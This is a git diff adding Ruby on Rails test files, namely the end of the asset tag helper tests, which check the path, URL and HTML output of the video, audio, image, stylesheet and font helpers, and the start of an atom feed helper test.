+ %(video_url("dir/xml.ogg")) => %(http://www.example.com/videos/dir/xml.ogg),
+ %(video_url("/dir/xml.ogg")) => %(http://www.example.com/dir/xml.ogg)
+ }
+
+ UrlToVideoToTag = {
+ %(url_to_video("xml")) => %(http://www.example.com/videos/xml),
+ %(url_to_video("xml.ogg")) => %(http://www.example.com/videos/xml.ogg),
+ %(url_to_video("dir/xml.ogg")) => %(http://www.example.com/videos/dir/xml.ogg),
+ %(url_to_video("/dir/xml.ogg")) => %(http://www.example.com/dir/xml.ogg)
+ }
+
+ VideoLinkToTag = {
+ %(video_tag("xml.ogg")) => %(<video src="/videos/xml.ogg"></video>),
+ %(video_tag("rss.m4v", :autoplay => true, :controls => true)) => %(<video autoplay="autoplay" controls="controls" src="/videos/rss.m4v"></video>),
+ %(video_tag("rss.m4v", :autobuffer => true)) => %(<video autobuffer="autobuffer" src="/videos/rss.m4v"></video>),
+ %(video_tag("gold.m4v", :size => "160x120")) => %(<video height="120" src="/videos/gold.m4v" width="160"></video>),
+ %(video_tag("gold.m4v", "size" => "320x240")) => %(<video height="240" src="/videos/gold.m4v" width="320"></video>),
+ %(video_tag("trailer.ogg", :poster => "screenshot.png")) => %(<video poster="/images/screenshot.png" src="/videos/trailer.ogg"></video>),
+ %(video_tag("error.avi", "size" => "100")) => %(<video src="/videos/error.avi"></video>),
+ %(video_tag("error.avi", "size" => "100 x 100")) => %(<video src="/videos/error.avi"></video>),
+ %(video_tag("error.avi", "size" => "x")) => %(<video src="/videos/error.avi"></video>),
+ %(video_tag("http://media.rubyonrails.org/video/rails_blog_2.mov")) => %(<video src="http://media.rubyonrails.org/video/rails_blog_2.mov"></video>),
+ %(video_tag("//media.rubyonrails.org/video/rails_blog_2.mov")) => %(<video src="//media.rubyonrails.org/video/rails_blog_2.mov"></video>),
+ %(video_tag("multiple.ogg", "multiple.avi")) => %(<video><source src="/videos/multiple.ogg" /><source src="/videos/multiple.avi" /></video>),
+ %(video_tag(["multiple.ogg", "multiple.avi"])) => %(<video><source src="/videos/multiple.ogg" /><source src="/videos/multiple.avi" /></video>),
+ %(video_tag(["multiple.ogg", "multiple.avi"], :size => "160x120", :controls => true)) => %(<video controls="controls" height="120" width="160"><source src="/videos/multiple.ogg" /><source src="/videos/multiple.avi" /></video>)
+ }
+
+ AudioPathToTag = {
+ %(audio_path("xml")) => %(/audios/xml),
+ %(audio_path("xml.wav")) => %(/audios/xml.wav),
+ %(audio_path("dir/xml.wav")) => %(/audios/dir/xml.wav),
+ %(audio_path("/dir/xml.wav")) => %(/dir/xml.wav)
+ }
+
+ PathToAudioToTag = {
+ %(path_to_audio("xml")) => %(/audios/xml),
+ %(path_to_audio("xml.wav")) => %(/audios/xml.wav),
+ %(path_to_audio("dir/xml.wav")) => %(/audios/dir/xml.wav),
+ %(path_to_audio("/dir/xml.wav")) => %(/dir/xml.wav)
+ }
+
+ AudioUrlToTag = {
+ %(audio_url("xml")) => %(http://www.example.com/audios/xml),
+ %(audio_url("xml.wav")) => %(http://www.example.com/audios/xml.wav),
+ %(audio_url("dir/xml.wav")) => %(http://www.example.com/audios/dir/xml.wav),
+ %(audio_url("/dir/xml.wav")) => %(http://www.example.com/dir/xml.wav)
+ }
+
+ UrlToAudioToTag = {
+ %(url_to_audio("xml")) => %(http://www.example.com/audios/xml),
+ %(url_to_audio("xml.wav")) => %(http://www.example.com/audios/xml.wav),
+ %(url_to_audio("dir/xml.wav")) => %(http://www.example.com/audios/dir/xml.wav),
+ %(url_to_audio("/dir/xml.wav")) => %(http://www.example.com/dir/xml.wav)
+ }
+
+ AudioLinkToTag = {
+ %(audio_tag("xml.wav")) => %(<audio src="/audios/xml.wav"></audio>),
+ %(audio_tag("rss.wav", :autoplay => true, :controls => true)) => %(<audio autoplay="autoplay" controls="controls" src="/audios/rss.wav"></audio>),
+ %(audio_tag("http://media.rubyonrails.org/audio/rails_blog_2.mov")) => %(<audio src="http://media.rubyonrails.org/audio/rails_blog_2.mov"></audio>),
+ %(audio_tag("//media.rubyonrails.org/audio/rails_blog_2.mov")) => %(<audio src="//media.rubyonrails.org/audio/rails_blog_2.mov"></audio>),
+ %(audio_tag("audio.mp3", "audio.ogg")) => %(<audio><source src="/audios/audio.mp3" /><source src="/audios/audio.ogg" /></audio>),
+ %(audio_tag(["audio.mp3", "audio.ogg"])) => %(<audio><source src="/audios/audio.mp3" /><source src="/audios/audio.ogg" /></audio>),
+ %(audio_tag(["audio.mp3", "audio.ogg"], :autobuffer => true, :controls => true)) => %(<audio autobuffer="autobuffer" controls="controls"><source src="/audios/audio.mp3" /><source src="/audios/audio.ogg" /></audio>)
+ }
+
+ FontPathToTag = {
+ %(font_path("font.eot")) => %(/fonts/font.eot),
+ %(font_path("font.eot#iefix")) => %(/fonts/font.eot#iefix),
+ %(font_path("font.woff")) => %(/fonts/font.woff),
+ %(font_path("font.ttf")) => %(/fonts/font.ttf),
+ %(font_path("font.ttf?123")) => %(/fonts/font.ttf?123)
+ }
+
+ def test_autodiscovery_link_tag_deprecated_types
+ result = nil
+ assert_deprecated do
+ result = auto_discovery_link_tag(:xml)
+ end
+
+ expected = %(<link href="http://www.example.com" rel="alternate" title="XML" type="application/xml" />)
+ assert_equal expected, result
+ end
+
+ def test_asset_path_tag
+ AssetPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_compute_asset_public_path
+ assert_equal "/robots.txt", compute_asset_path("robots.txt")
+ assert_equal "/robots.txt", compute_asset_path("/robots.txt")
+ assert_equal "/javascripts/foo.js", compute_asset_path("foo.js", :type => :javascript)
+ assert_equal "/javascripts/foo.js", compute_asset_path("/foo.js", :type => :javascript)
+ assert_equal "/stylesheets/foo.css", compute_asset_path("foo.css", :type => :stylesheet)
+ end
+
+ def test_auto_discovery_link_tag
+ AutoDiscoveryToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_javascript_path
+ JavascriptPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_path_to_javascript_alias_for_javascript_path
+ PathToJavascriptToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_javascript_url
+ JavascriptUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_url_to_javascript_alias_for_javascript_url
+ UrlToJavascriptToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_javascript_include_tag
+ JavascriptIncludeToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_javascript_include_tag_with_missing_source
+ assert_nothing_raised {
+ javascript_include_tag('missing_security_guard')
+ }
+
+ assert_nothing_raised {
+ javascript_include_tag('http://example.com/css/missing_security_guard')
+ }
+ end
+
+ def test_javascript_include_tag_is_html_safe
+ assert javascript_include_tag("prototype").html_safe?
+ end
+
+ def test_javascript_include_tag_relative_protocol
+ @controller.config.asset_host = "assets.example.com"
+ assert_dom_equal %(<script src="//assets.example.com/javascripts/prototype.js"></script>), javascript_include_tag('prototype', protocol: :relative)
+ end
+
+ def test_javascript_include_tag_default_protocol
+ @controller.config.asset_host = "assets.example.com"
+ @controller.config.default_asset_host_protocol = :relative
+ assert_dom_equal %(<script src="//assets.example.com/javascripts/prototype.js"></script>), javascript_include_tag('prototype')
+ end
+
+ def test_stylesheet_path
+ StylePathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_path_to_stylesheet_alias_for_stylesheet_path
+ PathToStyleToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_stylesheet_url
+ StyleUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_url_to_stylesheet_alias_for_stylesheet_url
+ UrlToStyleToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_stylesheet_link_tag
+ StyleLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_stylesheet_link_tag_with_missing_source
+ assert_nothing_raised {
+ stylesheet_link_tag('missing_security_guard')
+ }
+
+ assert_nothing_raised {
+ stylesheet_link_tag('http://example.com/css/missing_security_guard')
+ }
+ end
+
+ def test_stylesheet_link_tag_is_html_safe
+ assert stylesheet_link_tag('dir/file').html_safe?
+ assert stylesheet_link_tag('dir/other/file', 'dir/file2').html_safe?
+ end
+
+ def test_stylesheet_link_tag_escapes_options
+ assert_dom_equal %(<link href="/file.css" media="<script>" rel="stylesheet" />), stylesheet_link_tag('/file', :media => '<script>')
+ end
+
+ def test_stylesheet_link_tag_should_not_output_the_same_asset_twice
+ assert_dom_equal %(<link href="/stylesheets/wellington.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/amsterdam.css" media="screen" rel="stylesheet" />), stylesheet_link_tag('wellington', 'wellington', 'amsterdam')
+ end
+
+ def test_stylesheet_link_tag_with_relative_protocol
+ @controller.config.asset_host = "assets.example.com"
+ assert_dom_equal %(<link href="//assets.example.com/stylesheets/wellington.css" media="screen" rel="stylesheet" />), stylesheet_link_tag('wellington', protocol: :relative)
+ end
+
+ def test_stylesheet_link_tag_with_default_protocol
+ @controller.config.asset_host = "assets.example.com"
+ @controller.config.default_asset_host_protocol = :relative
+ assert_dom_equal %(<link href="//assets.example.com/stylesheets/wellington.css" media="screen" rel="stylesheet" />), stylesheet_link_tag('wellington')
+ end
+
+ def test_image_path
+ ImagePathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_path_to_image_alias_for_image_path
+ PathToImageToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_image_url
+ ImageUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_url_to_image_alias_for_image_url
+ UrlToImageToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_image_alt
+ [nil, '/', '/foo/bar/', 'foo/bar/'].each do |prefix|
+ assert_equal 'Rails', image_alt("#{prefix}rails.png")
+ assert_equal 'Rails', image_alt("#{prefix}rails-9c0a079bdd7701d7e729bd956823d153.png")
+ assert_equal 'Long file name with hyphens', image_alt("#{prefix}long-file-name-with-hyphens.png")
+ assert_equal 'Long file name with underscores', image_alt("#{prefix}long_file_name_with_underscores.png")
+ end
+ end
+
+ def test_image_tag
+ ImageLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_image_tag_does_not_modify_options
+ options = {:size => '16x10'}
+ image_tag('icon', options)
+ assert_equal({:size => '16x10'}, options)
+ end
+
+ def test_favicon_link_tag
+ FaviconLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_video_path
+ VideoPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_path_to_video_alias_for_video_path
+ PathToVideoToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_video_url
+ VideoUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_url_to_video_alias_for_video_url
+ UrlToVideoToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_video_tag
+ VideoLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_audio_path
+ AudioPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_path_to_audio_alias_for_audio_path
+ PathToAudioToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_audio_url
+ AudioUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_url_to_audio_alias_for_audio_url
+ UrlToAudioToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_audio_tag
+ AudioLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_font_path
+ FontPathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+ end
+
+ def test_video_audio_tag_does_not_modify_options
+ options = {:autoplay => true}
+ video_tag('video', options)
+ assert_equal({:autoplay => true}, options)
+ audio_tag('audio', options)
+ assert_equal({:autoplay => true}, options)
+ end
+
+ def test_image_tag_interpreting_email_cid_correctly
+ # An inline image has no need for an alt tag to be automatically generated from the cid:
+ assert_equal '<img src="cid:thi%25%25sis at acontentid" />', image_tag("cid:thi%25%25sis at acontentid")
+ end
+
+ def test_image_tag_interpreting_email_adding_optional_alt_tag
+ assert_equal '<img alt="Image" src="cid:thi%25%25sis at acontentid" />', image_tag("cid:thi%25%25sis at acontentid", :alt => "Image")
+ end
+
+ def test_should_not_modify_source_string
+ source = '/images/rails.png'
+ copy = source.dup
+ image_tag(source)
+ assert_equal copy, source
+ end
+
+ def test_caching_image_path_with_caching_and_proc_asset_host_using_request
+ @controller.config.asset_host = Proc.new do |source, request|
+ if request.ssl?
+ "#{request.protocol}#{request.host_with_port}"
+ else
+ "#{request.protocol}assets#{source.length}.example.com"
+ end
+ end
+
+ @controller.request.stubs(:ssl?).returns(false)
+ assert_equal "http://assets15.example.com/images/xml.png", image_path("xml.png")
+
+ @controller.request.stubs(:ssl?).returns(true)
+ assert_equal "http://localhost/images/xml.png", image_path("xml.png")
+ end
+end
+
+class AssetTagHelperNonVhostTest < ActionView::TestCase
+ tests ActionView::Helpers::AssetTagHelper
+
+ attr_reader :request
+
+ def setup
+ super
+ @controller = BasicController.new
+ @controller.config.relative_url_root = "/collaboration/hieraki"
+
+ @request = Struct.new(:protocol, :base_url).new("gopher://", "gopher://www.example.com")
+ @controller.request = @request
+ end
+
+ def url_for(options)
+ "http://www.example.com/collaboration/hieraki"
+ end
+
+ def test_should_compute_proper_path
+ assert_dom_equal(%(<link href="http://www.example.com/collaboration/hieraki" rel="alternate" title="RSS" type="application/rss+xml" />), auto_discovery_link_tag)
+ assert_dom_equal(%(/collaboration/hieraki/javascripts/xmlhr.js), javascript_path("xmlhr"))
+ assert_dom_equal(%(/collaboration/hieraki/stylesheets/style.css), stylesheet_path("style"))
+ assert_dom_equal(%(/collaboration/hieraki/images/xml.png), image_path("xml.png"))
+ end
+
+ def test_should_return_nothing_if_asset_host_isnt_configured
+ assert_equal nil, compute_asset_host("foo")
+ end
+
+ def test_should_current_request_host_is_always_returned_for_request
+ assert_equal "gopher://www.example.com", compute_asset_host("foo", :protocol => :request)
+ end
+
+ def test_should_ignore_relative_root_path_on_complete_url
+ assert_dom_equal(%(http://www.example.com/images/xml.png), image_path("http://www.example.com/images/xml.png"))
+ end
+
+ def test_should_return_simple_string_asset_host
+ @controller.config.asset_host = "assets.example.com"
+ assert_equal "gopher://assets.example.com", compute_asset_host("foo")
+ end
+
+ def test_should_return_relative_asset_host
+ @controller.config.asset_host = "assets.example.com"
+ assert_equal "//assets.example.com", compute_asset_host("foo", :protocol => :relative)
+ end
+
+ def test_should_return_custom_protocol_asset_host
+ @controller.config.asset_host = "assets.example.com"
+ assert_equal "ftp://assets.example.com", compute_asset_host("foo", :protocol => "ftp")
+ end
+
+ def test_should_compute_proper_path_with_asset_host
+ @controller.config.asset_host = "assets.example.com"
+ assert_dom_equal(%(<link href="http://www.example.com/collaboration/hieraki" rel="alternate" title="RSS" type="application/rss+xml" />), auto_discovery_link_tag)
+ assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_path("xmlhr"))
+ assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_path("style"))
+ assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_path("xml.png"))
+ end
+
+ def test_should_compute_proper_path_with_asset_host_and_default_protocol
+ @controller.config.asset_host = "assets.example.com"
+ @controller.config.default_asset_host_protocol = :request
+ assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_path("xmlhr"))
+ assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_path("style"))
+ assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_path("xml.png"))
+ end
+
+ def test_should_compute_proper_url_with_asset_host
+ @controller.config.asset_host = "assets.example.com"
+ assert_dom_equal(%(<link href="http://www.example.com/collaboration/hieraki" rel="alternate" title="RSS" type="application/rss+xml" />), auto_discovery_link_tag)
+ assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_url("xmlhr"))
+ assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_url("style"))
+ assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_url("xml.png"))
+ end
+
+ def test_should_compute_proper_url_with_asset_host_and_default_protocol
+ @controller.config.asset_host = "assets.example.com"
+ @controller.config.default_asset_host_protocol = :request
+ assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/javascripts/xmlhr.js), javascript_url("xmlhr"))
+ assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/stylesheets/style.css), stylesheet_url("style"))
+ assert_dom_equal(%(gopher://assets.example.com/collaboration/hieraki/images/xml.png), image_url("xml.png"))
+ end
+
+ def test_should_return_asset_host_with_protocol
+ @controller.config.asset_host = "http://assets.example.com"
+ assert_equal "http://assets.example.com", compute_asset_host("foo")
+ end
+
+ def test_should_ignore_asset_host_on_complete_url
+ @controller.config.asset_host = "http://assets.example.com"
+ assert_dom_equal(%(<link href="http://bar.example.com/stylesheets/style.css" media="screen" rel="stylesheet" />), stylesheet_link_tag("http://bar.example.com/stylesheets/style.css"))
+ end
+
+ def test_should_ignore_asset_host_on_scheme_relative_url
+ @controller.config.asset_host = "http://assets.example.com"
+ assert_dom_equal(%(<link href="//bar.example.com/stylesheets/style.css" media="screen" rel="stylesheet" />), stylesheet_link_tag("//bar.example.com/stylesheets/style.css"))
+ end
+
+ def test_should_wildcard_asset_host
+ @controller.config.asset_host = 'http://a%d.example.com'
+ assert_match(%r(http://a[0123].example.com), compute_asset_host("foo"))
+ end
+
+ def test_should_wildcard_asset_host_between_zero_and_four
+ @controller.config.asset_host = 'http://a%d.example.com'
+ assert_match(%r(http://a[0123].example.com/collaboration/hieraki/images/xml.png), image_path('xml.png'))
+ assert_match(%r(http://a[0123].example.com/collaboration/hieraki/images/xml.png), image_url('xml.png'))
+ end
+
+ def test_asset_host_without_protocol_should_be_protocol_relative
+ @controller.config.asset_host = 'a.example.com'
+ assert_equal 'gopher://a.example.com/collaboration/hieraki/images/xml.png', image_path('xml.png')
+ assert_equal 'gopher://a.example.com/collaboration/hieraki/images/xml.png', image_url('xml.png')
+ end
+
+ def test_asset_host_without_protocol_should_be_protocol_relative_even_if_path_present
+ @controller.config.asset_host = 'a.example.com/files/go/here'
+ assert_equal 'gopher://a.example.com/files/go/here/collaboration/hieraki/images/xml.png', image_path('xml.png')
+ assert_equal 'gopher://a.example.com/files/go/here/collaboration/hieraki/images/xml.png', image_url('xml.png')
+ end
+
+ def test_assert_css_and_js_of_the_same_name_return_correct_extension
+ assert_dom_equal(%(/collaboration/hieraki/javascripts/foo.js), javascript_path("foo"))
+ assert_dom_equal(%(/collaboration/hieraki/stylesheets/foo.css), stylesheet_path("foo"))
+ end
+end
+
+class AssetUrlHelperControllerTest < ActionView::TestCase
+ tests ActionView::Helpers::AssetUrlHelper
+
+ def setup
+ super
+
+ @controller = BasicController.new
+ @controller.extend ActionView::Helpers::AssetUrlHelper
+
+ @request = Class.new do
+ attr_accessor :script_name
+ def protocol() 'http://' end
+ def ssl?() false end
+ def host_with_port() 'www.example.com' end
+ def base_url() 'http://www.example.com' end
+ end.new
+
+ @controller.request = @request
+ end
+
+ def test_asset_path
+ assert_equal "/foo", @controller.asset_path("foo")
+ end
+
+ def test_asset_url
+ assert_equal "http://www.example.com/foo", @controller.asset_url("foo")
+ end
+end
+
+class AssetUrlHelperEmptyModuleTest < ActionView::TestCase
+ tests ActionView::Helpers::AssetUrlHelper
+
+ def setup
+ super
+
+ @module = Module.new
+ @module.extend ActionView::Helpers::AssetUrlHelper
+ end
+
+ def test_asset_path
+ assert_equal "/foo", @module.asset_path("foo")
+ end
+
+ def test_asset_url
+ assert_equal "/foo", @module.asset_url("foo")
+ end
+
+ def test_asset_url_with_request
+ @module.instance_eval do
+ def request
+ Struct.new(:base_url, :script_name).new("http://www.example.com", nil)
+ end
+ end
+
+ assert @module.request
+ assert_equal "http://www.example.com/foo", @module.asset_url("foo")
+ end
+
+ def test_asset_url_with_config_asset_host
+ @module.instance_eval do
+ def config
+ Struct.new(:asset_host).new("http://www.example.com")
+ end
+ end
+
+ assert @module.config.asset_host
+ assert_equal "http://www.example.com/foo", @module.asset_url("foo")
+ end
+end
diff --git a/actionpack/test/template/atom_feed_helper_test.rb b/actionpack/test/template/atom_feed_helper_test.rb
new file mode 100644
index 0000000..63b5ac0
--- /dev/null
+++ b/actionpack/test/template/atom_feed_helper_test.rb
@@ -0,0 +1,349 @@
+require 'abstract_unit'
+
+class Scroll < Struct.new(:id, :to_param, :title, :body, :updated_at, :created_at)
+ extend ActiveModel::Naming
+ include ActiveModel::Conversion
+
+ def persisted?
+ false
+ end
+end
+
+class ScrollsController < ActionController::Base
+ FEEDS = {}
+ FEEDS["defaults"] = <<-EOT
+ atom_feed(:schema_date => '2008') do |feed|
+ feed.title("My great blog!")
+ feed.updated((@scrolls.first.created_at))
+
+ @scrolls.each do |scroll|
+ feed.entry(scroll) do |entry|
+ entry.title(scroll.title)
+ entry.content(scroll.body, :type => 'html')
+
+ entry.author do |author|
+ author.name("DHH")
+ end
+ end
+ end
+ end
+ EOT
+ FEEDS["entry_options"] = <<-EOT
+ atom_feed do |feed|
+ feed.title("My great blog!")
+ feed.updated((@scrolls.first.created_at))
+
+ @scrolls.each do |scroll|
+ feed.entry(scroll, :url => "/otherstuff/" + scroll.to_param.to_s, :updated => Time.utc(2007, 1, scroll.id)) do |entry|
+ entry.title(scroll.title)
+ entry.content(scroll.body, :type => 'html')
+
+ entry.author do |author|
+ author.name("DHH")
+ end
+ end
+ end
+ end
+ EOT
+ FEEDS["entry_type_options"] = <<-EOT
+ atom_feed(:schema_date => '2008') do |feed|
+ feed.title("My great blog!")
+ feed.updated((@scrolls.first.created_at))
+
+ @scrolls.each do |scroll|
+ feed.entry(scroll, :type => 'text/xml') do |entry|
+ entry.title(scroll.title)
+ entry.content(scroll.body, :type => 'html')
+
+ entry.author do |author|
+ author.name("DHH")
+ end
+ end
+ end
+ end
+ EOT
+ FEEDS["xml_block"] = <<-EOT
+ atom_feed do |feed|
+ feed.title("My great blog!")
+ feed.updated((@scrolls.first.created_at))
+
+ feed.author do |author|
+ author.name("DHH")
+ end
+
+ @scrolls.each do |scroll|
+ feed.entry(scroll, :url => "/otherstuff/" + scroll.to_param.to_s, :updated => Time.utc(2007, 1, scroll.id)) do |entry|
+ entry.title(scroll.title)
+ entry.content(scroll.body, :type => 'html')
+ end
+ end
+ end
+ EOT
+ FEEDS["feed_with_atomPub_namespace"] = <<-EOT
+ atom_feed({'xmlns:app' => 'http://www.w3.org/2007/app',
+ 'xmlns:openSearch' => 'http://a9.com/-/spec/opensearch/1.1/'}) do |feed|
+ feed.title("My great blog!")
+ feed.updated((@scrolls.first.created_at))
+
+ @scrolls.each do |scroll|
+ feed.entry(scroll) do |entry|
+ entry.title(scroll.title)
+ entry.content(scroll.body, :type => 'html')
+ entry.tag!('app:edited', Time.now)
+
+ entry.author do |author|
+ author.name("DHH")
+ end
+ end
+ end
+ end
+ EOT
+ FEEDS["feed_with_overridden_ids"] = <<-EOT
+ atom_feed({:id => 'tag:test.rubyonrails.org,2008:test/'}) do |feed|
+ feed.title("My great blog!")
+ feed.updated((@scrolls.first.created_at))
+
+ @scrolls.each do |scroll|
+ feed.entry(scroll, :id => "tag:test.rubyonrails.org,2008:"+scroll.id.to_s) do |entry|
+ entry.title(scroll.title)
+ entry.content(scroll.body, :type => 'html')
+ entry.tag!('app:edited', Time.now)
+
+ entry.author do |author|
+ author.name("DHH")
+ end
+ end
+ end
+ end
+ EOT
+ FEEDS["feed_with_xml_processing_instructions"] = <<-EOT
+ atom_feed(:schema_date => '2008',
+ :instruct => {'xml-stylesheet' => { :href=> 't.css', :type => 'text/css' }}) do |feed|
+ feed.title("My great blog!")
+ feed.updated((@scrolls.first.created_at))
+
+ @scrolls.each do |scroll|
+ feed.entry(scroll) do |entry|
+ entry.title(scroll.title)
+ entry.content(scroll.body, :type => 'html')
+
+ entry.author do |author|
+ author.name("DHH")
+ end
+ end
+ end
+ end
+ EOT
+ FEEDS["feed_with_xml_processing_instructions_duplicate_targets"] = <<-EOT
+ atom_feed(:schema_date => '2008',
+ :instruct => {'target1' => [{ :a => '1', :b => '2' }, { :c => '3', :d => '4' }]}) do |feed|
+ feed.title("My great blog!")
+ feed.updated((@scrolls.first.created_at))
+
+ @scrolls.each do |scroll|
+ feed.entry(scroll) do |entry|
+ entry.title(scroll.title)
+ entry.content(scroll.body, :type => 'html')
+
+ entry.author do |author|
+ author.name("DHH")
+ end
+ end
+ end
+ end
+ EOT
+ FEEDS["feed_with_xhtml_content"] = <<-'EOT'
+ atom_feed do |feed|
+ feed.title("My great blog!")
+ feed.updated((@scrolls.first.created_at))
+
+ @scrolls.each do |scroll|
+ feed.entry(scroll) do |entry|
+ entry.title(scroll.title)
+ entry.summary(:type => 'xhtml') do |xhtml|
+ xhtml.p "before #{scroll.id}"
+ xhtml.p {xhtml << scroll.body}
+ xhtml.p "after #{scroll.id}"
+ end
+ entry.tag!('app:edited', Time.now)
+
+ entry.author do |author|
+ author.name("DHH")
+ end
+ end
+ end
+ end
+ EOT
+ FEEDS["provide_builder"] = <<-'EOT'
+ # we pass in the new_xml to the helper so it doesn't
+ # call anything on the original builder
+ new_xml = Builder::XmlMarkup.new(:target=>'')
+ atom_feed(:xml => new_xml) do |feed|
+ feed.title("My great blog!")
+ feed.updated((@scrolls.first.created_at))
+
+ @scrolls.each do |scroll|
+ feed.entry(scroll) do |entry|
+ entry.title(scroll.title)
+ entry.content(scroll.body, :type => 'html')
+
+ entry.author do |author|
+ author.name("DHH")
+ end
+ end
+ end
+ end
+ EOT
+ def index
+ @scrolls = [
+ Scroll.new(1, "1", "Hello One", "Something <i>COOL!</i>", Time.utc(2007, 12, 12, 15), Time.utc(2007, 12, 12, 15)),
+ Scroll.new(2, "2", "Hello Two", "Something Boring", Time.utc(2007, 12, 12, 15)),
+ ]
+
+ render :inline => FEEDS[params[:id]], :type => :builder
+ end
+end
+
+class AtomFeedTest < ActionController::TestCase
+ tests ScrollsController
+
+ def setup
+ super
+ @request.host = "www.nextangle.com"
+ end
+
+ def test_feed_should_use_default_language_if_none_is_given
+ with_restful_routing(:scrolls) do
+ get :index, :id => "defaults"
+ assert_match(%r{xml:lang="en-US"}, @response.body)
+ end
+ end
+
+ def test_feed_should_include_two_entries
+ with_restful_routing(:scrolls) do
+ get :index, :id => "defaults"
+ assert_select "entry", 2
+ end
+ end
+
+ def test_entry_should_only_use_published_if_created_at_is_present
+ with_restful_routing(:scrolls) do
+ get :index, :id => "defaults"
+ assert_select "published", 1
+ end
+ end
+
+ def test_providing_builder_to_atom_feed
+ with_restful_routing(:scrolls) do
+ get :index, :id=>"provide_builder"
+ # because we pass in the non-default builder, the content generated by the
+ # helper should go 'nowhere'. Leaving the response body blank.
+ assert @response.body.blank?
+ end
+ end
+
+ def test_entry_with_prefilled_options_should_use_those_instead_of_querying_the_record
+ with_restful_routing(:scrolls) do
+ get :index, :id => "entry_options"
+
+ assert_select "updated", Time.utc(2007, 1, 1).xmlschema
+ assert_select "updated", Time.utc(2007, 1, 2).xmlschema
+ end
+ end
+
+ def test_self_url_should_default_to_current_request_url
+ with_restful_routing(:scrolls) do
+ get :index, :id => "defaults"
+ assert_select "link[rel=self][href=http://www.nextangle.com/scrolls?id=defaults]"
+ end
+ end
+
+ def test_feed_id_should_be_a_valid_tag
+ with_restful_routing(:scrolls) do
+ get :index, :id => "defaults"
+ assert_select "id", :text => "tag:www.nextangle.com,2008:/scrolls?id=defaults"
+ end
+ end
+
+ def test_entry_id_should_be_a_valid_tag
+ with_restful_routing(:scrolls) do
+ get :index, :id => "defaults"
+ assert_select "entry id", :text => "tag:www.nextangle.com,2008:Scroll/1"
+ assert_select "entry id", :text => "tag:www.nextangle.com,2008:Scroll/2"
+ end
+ end
+
+ def test_feed_should_allow_nested_xml_blocks
+ with_restful_routing(:scrolls) do
+ get :index, :id => "xml_block"
+ assert_select "author name", :text => "DHH"
+ end
+ end
+
+ def test_feed_should_include_atomPub_namespace
+ with_restful_routing(:scrolls) do
+ get :index, :id => "feed_with_atomPub_namespace"
+ assert_match %r{xml:lang="en-US"}, @response.body
+ assert_match %r{xmlns="http://www.w3.org/2005/Atom"}, @response.body
+ assert_match %r{xmlns:app="http://www.w3.org/2007/app"}, @response.body
+ end
+ end
+
+ def test_feed_should_allow_overriding_ids
+ with_restful_routing(:scrolls) do
+ get :index, :id => "feed_with_overridden_ids"
+ assert_select "id", :text => "tag:test.rubyonrails.org,2008:test/"
+ assert_select "entry id", :text => "tag:test.rubyonrails.org,2008:1"
+ assert_select "entry id", :text => "tag:test.rubyonrails.org,2008:2"
+ end
+ end
+
+ def test_feed_xml_processing_instructions
+ with_restful_routing(:scrolls) do
+ get :index, :id => 'feed_with_xml_processing_instructions'
+ assert_match %r{<\?xml-stylesheet [^\?]*type="text/css"}, @response.body
+ assert_match %r{<\?xml-stylesheet [^\?]*href="t.css"}, @response.body
+ end
+ end
+
+ def test_feed_xml_processing_instructions_duplicate_targets
+ with_restful_routing(:scrolls) do
